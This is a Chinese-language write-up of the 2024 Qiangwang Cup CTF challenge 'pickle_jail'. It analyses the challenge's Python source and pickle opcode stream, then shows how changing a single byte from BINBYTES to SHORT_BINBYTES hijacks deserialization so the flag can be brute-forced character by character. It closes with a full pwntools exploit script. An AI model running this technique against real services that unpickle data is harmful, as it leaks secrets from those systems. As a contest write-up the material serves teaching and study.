2024-强网杯-pickle_jail分析
lhRaMk7 发表于 四川 CTF 189浏览 · 2024-11-14 11:45

这道题在比赛期间没解出来想去逃逸了.....盯了一天这里,赛后感觉来了复现一下,

源码分析

#!/usr/local/bin/python  
from io import BytesIO  
from os import _exit  
from pathlib import Path  
from pickle import Pickler, Unpickler  
from sys import stderr, stdin, stdout  
from time import time  

from faker import Faker  

Faker.seed(time())  
fake = Faker("en_US")  
flag = Path("flag").read_text()  


def print(_):  
    stdout.buffer.write(f"{_}\n".encode())  
    stdout.buffer.flush()  


def input(_=None, limit: int = -1):  
    if _:  
        print(_)  
    _ = stdin.buffer.readline(limit)  
    stdin.buffer.flush()  
    return _  


def bye(_):  
    print(_)  


players = [fake.unique.first_name().encode() for _ in range(50)]  
print("Welcome to this jail game!")  
print(f"Play this game to get the flag with these players: {players}!")  
name = input("So... What's your name?", 300).strip()  

assert name not in players, "You are already joined!"  

print(f"Welcome {name}!")  
players.append(name)  

biox = BytesIO()  
Pickler(biox).dump(  
    (  
        name,  
        players,  
        flag,  
    )  
)  

data = bytearray(biox.getvalue())  
num = input("Enter a random number to win: ", 1)[0]  
assert num < len(data), "You are not allowed to win!"  
data[num] += 1  
data[num] %= 0xFF  

del name, players, flag  
biox.close()  
stderr.close()  

try:  
    safe_dic = {  
        "__builtins__": None,  
        "n": BytesIO(data),  
        "F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),  
    }  
    name, players, _ = eval("F(n).load()", safe_dic, {})  
    if name in players:  
        del _  
        print(f"{name} joined this game, but here is no flag!")  
except Exception:  
    print("What happened? IDK...")  
finally:  
    bye("Break this jail to get the flag!")

简单分析下就是通过传入的name数据,来与随机生成的players以及flag字段进行一个生成pickle数据流,后面接受一个字节并转换成ascill码进行作为int去转把某个字节一位进行+1操作
最后在自定义的一个环境里面进行pickel反序列化的操作,并把最后弹出的内容进行一个赋值,并最后对name进行一个输出,由于这里重写了find_class方法触发就返回H4cker并设定builtins为空,栈帧逃逸也被pass了
由于需要了解下他的序列化结构是什么我们这这里通过pickletools来分析,便于调试我顺便把data数据流修改前修改后的数据一起打出了

first data: bytearray(b'\x80\x04\x95\xf0\x01\x00\x00\x00\x00\x00\x00C\x03abc\x94]\x94(C\x07Annette\x94C\x05Heidi\x94C\x04Anne\x94C\x05Allen\x94C\x06George\x94C\x05Jason\x94C\x04Eric\x94C\x05Chase\x94C\x07Stephen\x94C\x05Julie\x94C\x04Anna\x94C\x06Robert\x94C\x05Emily\x94C\x08Michaela\x94C\tCatherine\x94C\x07Barbara\x94C\x06Ashley\x94C\x08Michelle\x94C\x04Jeff\x94C\x07William\x94C\x07Whitney\x94C\x05James\x94C\x07Melissa\x94C\x05Laura\x94C\x07Matthew\x94C\x04Dana\x94C\x05Randy\x94C\x08Victoria\x94C\x06Amanda\x94C\x04Seth\x94C\x04Alan\x94C\x06Joseph\x94C\x06Gerald\x94C\x05Erica\x94C\x06Steven\x94C\x07Heather\x94C\x06Dennis\x94C\x04Mary\x94C\x05Kevin\x94C\x04John\x94C\x05Caleb\x94C\x05Diana\x94C\x07Vanessa\x94C\x05Ethan\x94C\x07Phillip\x94C\x05Jacob\x94C\x07Crystal\x94C\x05Karen\x94C\x07Tiffany\x94C\x05Penny\x94h\x00e\x8c*flag{123e4567-e89b-12d3-a456-426614174000}\x94\x87\x94.')

new data: bytearray(b'\x80\x04\x95\xf0\x01\x00\x00\x00\x00\x00\x00C\x03abc\x94]\x94(C\x07Annette\x94C\x05Heidi\x94C\x04Anne\x94C\x05Almen\x94C\x06George\x94C\x05Jason\x94C\x04Eric\x94C\x05Chase\x94C\x07Stephen\x94C\x05Julie\x94C\x04Anna\x94C\x06Robert\x94C\x05Emily\x94C\x08Michaela\x94C\tCatherine\x94C\x07Barbara\x94C\x06Ashley\x94C\x08Michelle\x94C\x04Jeff\x94C\x07William\x94C\x07Whitney\x94C\x05James\x94C\x07Melissa\x94C\x05Laura\x94C\x07Matthew\x94C\x04Dana\x94C\x05Randy\x94C\x08Victoria\x94C\x06Amanda\x94C\x04Seth\x94C\x04Alan\x94C\x06Joseph\x94C\x06Gerald\x94C\x05Erica\x94C\x06Steven\x94C\x07Heather\x94C\x06Dennis\x94C\x04Mary\x94C\x05Kevin\x94C\x04John\x94C\x05Caleb\x94C\x05Diana\x94C\x07Vanessa\x94C\x05Ethan\x94C\x07Phillip\x94C\x05Jacob\x94C\x07Crystal\x94C\x05Karen\x94C\x07Tiffany\x94C\x05Penny\x94h\x00e\x8c*flag{123e4567-e89b-12d3-a456-426614174000}\x94\x87\x94.')

如上我们可以看到这里输入的1被转换成了ascii码并在第49位的字节进行了+1的操作
再看看pickel数据流结构

0: \x80 PROTO      4
    2: \x95 FRAME      496
   11: C    SHORT_BINBYTES b'abc'
   16: \x94 MEMOIZE    (as 0)
   17: ]    EMPTY_LIST
   18: \x94 MEMOIZE    (as 1)
   19: (    MARK
   20: C        SHORT_BINBYTES b'Annette'
   29: \x94     MEMOIZE    (as 2)
   ...
   ...
  455: \x94     MEMOIZE    (as 51)
  456: h        BINGET     0
  458: e        APPENDS    (MARK at 19)
  459: \x8c SHORT_BINUNICODE 'flag{123e4567-e89b-12d3-a456-426614174000}'
  503: \x94 MEMOIZE    (as 52)
  504: \x87 TUPLE3
  505: \x94 MEMOIZE    (as 53)
  506: .    STOP

中间的省略号就是存在playes里面的用户名数据
首先第一个是我们传入的name被赋值给了C指令并以\x94指令作为标记为0,同时压入一个列表对象储存在1,之后利用( 指令进行标记后面的对象
直到
h BINGET 0:从位置 0 获取对象(b'abc')。
e APPENDS (MARK at 19):将标记开始后的所有对象............追加到空列表中后面是flag的储存
关键点在
\x87 TUPLE3:创建一个包含三个元素的元组并弹出
也就是我们name, players, _ = eval("F(n).load()", safe_dic, {})所进行的赋值操作
总的来说也就是这个 pickle 数据流序列化了一个包含三个元素的元组,其中第一个元素是 b'abc',第二个元素是一个包含 b'Annette' 和 b'abc' 的列表,第三个元素是字符串 'flag{123e4567-e89b-12d3-a456-426614174000}'

测试

分析完毕,由于我们发现我们可以控制255内一个字节+1这个关键点但是题目限制我们name只能传入300个字符,我们压测一下

发现盲点,这里的控制name的指令变成了B我们需要了解下这两个指令

BINBYTES       = b'B'   #先读取4字节数据通过unpack使用<i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈b'B\x06\x00\x00\x00h0cksr.' => b'S1nKk'
SHORT_BINBYTES = b'C'   #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据

由于C指令最大数据长度是254,更大就会变成B指令,我们联想到我们可以控制pickle数据255内任意+1,这里假如我们传入的是B但是修改为C会发生什么,测试一下,把B改成C指令的对应num是11也就是\x0B
终端不行pwntools可以,我这里手动赋值

根据调试信息可得如上,修改了之类后在pickletools.dis显示的是读取了\x18字节后后面的内容就成为了新的指令集,不再成为参数实现了逃逸,当我们可以任意控制数据的时候这里由于后面限定了不可逃逸环境,所以我们必须要从其他方面入手,下一个关键点在

那么加入players里面存在flag数据,我们就可以根据这个操作来进行获取flag并能输出
如何控制呢
由于我们已经可以自己控制一部分的数据流了对于整个pickle数据里面一共也就800位字节,B指令的可控长度远超800字节,那我们思路来了
通过自定义B指令让B指令进行一个把后面我们填充的数据以及整个原来的players数据包括flag数据全部吃掉,作为第二个元组的参数,第一个是可控的name变量,但是由于最后需要3个对象来组成一个元组,所以导致有点问题,但是出题人告诉了flag是flag{UUID-4},而恰好}指令在整个pickel数据流里面进行压入一个空字典
这样我们只需要去控制利用B指令集去吃掉最后flag的}之前的数据把}作为一个指令排出去,实现一个构造题目所需数据,测试如下

确实可以把最后的flag储存在B指令集里,但是怎么对flag进行验证会报错,因为对于我们把B修改为C的指令会吃掉B指令残留的第一个16进制代表的长度的数据,导致我们弹出的数据会有问题,没办法对flag进行一个校验,这时候需要知道的是

\x87     TUPLE3这个指令进行获取的对象是从( MARK:标记开始到TUPLE3里面的对象

这样我们只需要进行一个手动的mark标记并把我们想要校验的flag数据进行给一个新的指令对象C/B都可以
这里的数据需要自己调试下,不断用dis来看原指令集接受的参数即可,最后成上图那样即可进行校验,经过计算我们输入的name数据只需要260位即可进行反序列化赋值

实践

编写脚本需要注意以下问题,

1.由于验证的flag位数增加,为了保证260位长度后面B字节填充的数据应当减少一个同时让验证flag的指令集接受参数多一位
2.获取data长度的时候需要我们自己获取随机生成的players数据
3.flag位数不能>=10因为第10位对应的10进制是\n会导致我们发送的数据由于换行被提前截断导致出现问题
4.调试完成需要关闭pickle.dis由于只要能正常弹出数据即可,由于我们篡改的数据有问题会导致pickletools没办法正常退出导致没办法到后面的正确赋值(被坑惨了....)

对于想要获取生成的随机players的长度,本地题调试一下即可
可以利用

Pickler(biox).dump(  
    (  
        players_list,  
    )  
)

来生成
flag位数的话个人是利用中间变量去进行替换的效果,最后的exp如下,如有差池稍作修改即可

from pickle import Pickler  

from pwn import *  
context.log_level = 'DEBUG'  

dict="1234567890abcdef-"  

finalflag = "flag{"  
flagres = "flag{"  
quit = 0  
while True:  
    for i in dict:  
        conn = remote('127.0.0.1', 5555)  
        print(conn.recvline().decode())  


        #获取下面的players的所有的用户的长度便于后面进行计算  
        players_message = conn.recvline().decode()  
        print(conn.recvline().decode())  
        players_list_start = players_message.find('[')  
        players_list_end = players_message.find(']') + 1  
        players_list = players_message[players_list_start:players_list_end]  
        print(players_list)  
        biox = BytesIO()  
        Pickler(biox).dump(  
            (  
                players_list,  
            )  
        )  
        #计算后面需要利用B操作码的长度  
        data = bytearray(biox.getvalue())  
        paddingdata = b"1" * (244 - quit)  
        len1=len(data)+len(paddingdata)-70  
        bytes_length = len1.to_bytes(4, byteorder='little')  
        #进行爆破的flag  
        testflag = flagres + i  
        print("testflagres",testflag)  
        length = len(testflag)  
        #由于10位进行转换的是\n这个字符利用pwntools发送会导致发送失败  

        if length == 10:  
            flagres = flagres[1:]  
            testflag = testflag[1:]  
            length = len(testflag)-1  

        #构造payload其中的bytes([length])的是flag的长度bytes_length是B操作码的长度  

        name = b'\x94(C' + bytes([length]) + testflag.encode() + b'\x94B' + bytes_length + paddingdata  
        conn.sendline(name)  

        print(conn.recvline().decode())  
        print(conn.recvline().decode())  
        #发送一个11来进行修改B操作字节码到C操作字节码实现逃逸  
        conn.sendline(b'\x0b')  
        print(conn.recvline().decode())  
        print(conn.recvline().decode())  
        res = conn.recvline().decode()  
        print("res", res)  
        #判断flag是否进行了修改并且进行输出  
        if "joined this game, but here is no flag!" in res:  
            finalflag +=i  
            print("finalflag:", finalflag)  
            flagres +=i  
            if len(finalflag) > 35:  
                print("finalflag:",finalflag)  
                if len(finalflag) == 41:  
                    exit()  

            if  quit < 3:  
                quit+=1  

            print("flagres",flagres)  
            break  
        else:  
            print("flagres", flagres)  
            continue  

        conn.close()

感觉挺有意思的,以前一直都没去细看过指令集,这次算是看过了

0 条评论
某人
表情
可输入 255
目录